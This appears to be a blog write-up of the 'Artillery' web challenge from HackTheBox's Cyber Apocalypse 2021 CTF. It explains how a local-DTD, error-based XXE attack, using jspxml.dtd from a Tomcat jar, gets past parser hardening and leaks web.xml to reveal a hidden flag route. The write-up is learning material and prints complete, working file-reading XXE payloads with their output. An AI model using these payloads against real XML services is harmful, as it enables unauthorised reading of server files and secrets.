Cyber Apocalypse 2021 5/5 - Artillery

Artillery was a web challenge of the Cyber Apocalypse 2021 CTF organized by HackTheBox. We were given the source code of the server to help us solve the challenge. This challenge was a nice opportunity to learn more about XXE vulnerabilities.

First steps

When you enter a query in the search bar, like ‘qwerty’ and press enter, nothing happens.

The website will make a GET request on /airbase/?query=qwerty, and nothing more. Which is weird…

So, the next step is to have a look at the airbase.js JavaScript code:

async function getResults() {
  const query = document.getElementById("query").value;
  const xml = `<?xml version="1.0" encoding="ISO-8859-1"?><root><query>${query}</query></root>`;
  const response = await fetch('/search', {
    method: 'POST',
    headers: {
      'Content-Type' : 'application/xml'
    body: xml


We have a getResults function which makes an XML POST query on /search.

Let’s hit the search endpoint with a random query!

Here is the corresponding curl command. Our query is ‘gun’:

curl 'http://<IP>:<PORT>/search' -H 'Content-Type: application/xml' -H 'Origin: http://<IP>:<PORT>' --data-raw '<?xml version="1.0" encoding="ISO-8859-1"?><root><query>gun</query></root>'

We have the following response:

[{"name": "Gunstar", "url":"gunstar.jpg", "desc":"Capable of both short and long-range space flight, the Gunstar is a two-person craft. It is approximately 20 meters in length and carries a complement of two operators, a pilot and a gunner."}, { "name" : "", "url" : "", "desc" : "" }]

Now, what ? Let’s have a look at the server code which was given to us!

Server setup

We are given the server code with a Dockerfile to boot!

Let’s setup the environment on our side:

# Build
docker build . -t web_artillery
# Run it
docker run -p 8080:8080 -name artilley web_artillery:latest

We can go into the container and have a look around using:

docker exec -it artillery bash


Where will the flag be?

The file WEB-INF/web.xml describes the routes served by the server:

  • one of them is /search, that we already know of;
  • the other one is /flag_hash. Will we get the flag by hitting /flag_hash? No!

In the file given, we have the following lines of code:

hash=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1 | md5sum | cut -d ' ' -f 1)
sed -i "s/hash/$hash/g" /tomcat/webapps/ROOT/WEB-INF/web.xml

The /flag_hash route will have its hash part generated at the server setup, and will become a /flag_aZ09rand0m route.

We also know, according to the file WEB-INF/classes/, that we will get the flag by making a GET query to that generated endpoint.

Therefore, if we can get the content of the WEB-INF/web.xml file, we will get the generated flag route, which will give us the flag through a GET request.

What vulnerability will we use?

We are sending XML to the server. What is the first thing that comes to mind? XXE, or XML external entity injection!

However, we are going to have a hard time because of those lines in WEB-INF/classes/

// Make sekure!
dbf.setFeature("", false);
dbf.setFeature("", false);
dbf.setFeature("", false);
dbf.setFeature("", true);
dbf.setAttribute(XMLConstants.FEATURE_SECURE_PROCESSING, true);

This line:

dbf.setFeature("", true);

Will throw a fatal error if you use a DOCTYPE declaration in your XML.

And this one:

dbf.setFeature("", false);

Will not let you load external DTDs.


Focusing on local DTD files

Having tried some XXE payloads without success, I had another look at the given Dockerfile:

RUN find / -name "*.dtd" -type f -delete

The above line, which removes all .dtd files from the system, meant I was going to have a hard look at local DTD XXE.

By looking at the options using local DTD files in PayloadsAllTheThings, I tried the first payload:

<!DOCTYPE root [
    <!ENTITY % local_dtd SYSTEM "file:///abcxyz/">


And we actually get an answer! /abcxyz (No such file or directory)
	at Method)

If we try with /etc/passwd, we have a different answer:

org.xml.sax.SAXParseException; systemId: file:///etc/passwd; lineNumber: 1; columnNumber: 1; The markup declarations contained or pointed to by the document type declaration must be well-formed.

Which means that this file exists!

We have a tomcat server

PayloadsAllTheThings links to a page with even more XXE payloads with DTD files involved.

Remember, all dtd files in the system were removed in the Dockerfile

But what about .jar files containing dtd files?

If we docker exec -it artillery bash, we can even look for them, they are in /tomcat/lib.

For example the file /tomcat/lib/jsp-api.jar exists. We can adapt one XXE payload given here:

<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///usr/local/tomcat/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd">

    <!ENTITY % URI '(aa) #IMPLIED>
        <!ENTITY &#x25; file SYSTEM "file:///YOUR_FILE">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///abcxyz/&#x25;file;&#x27;>">
        <!ATTLIST attxx aa "bb"'>


To our target system:

<!DOCTYPE message [
    Our jsp-api.jar is located in /tomcat/lib.
    I did not find the /javax path in jsp-api.jar
    But thankfully, the jspxml.dtd was in the /jakarta path
    <!ENTITY % local_dtd SYSTEM "jar:file:/tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd">

    <!-- By targeting the WEB-INF/web.xml file, we will have the generated flag route
    In the returned Java error returned by the server.
    <!ENTITY % URI '(aa) #IMPLIED>
        <!ENTITY &#x25; file SYSTEM "file:////tomcat/webapps/ROOT/WEB-INF/web.xml">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///abcxyz/&#x25;file;&#x27;>">
        <!ATTLIST attxx aa "bb"'>


And, it works! We have the following error message response: /abcxyz/<web-app version="3.0"
  xsi:schemaLocation="http:/ http:/">





</web-app> (No such file or directory)

We get the flag route: /flag_9535b9714ef44eb8928bbe8b70e04198.

Now, we can redo the same steps on the live server. By making a GET request to the flag route given in the error response, we get the real flag CHTB{OOB_p1us_err0r_b@s3d_XXE_da_b0ss!}

Closing words

It was a nice XXE challenge which made me learn about XXE with local DTD files :)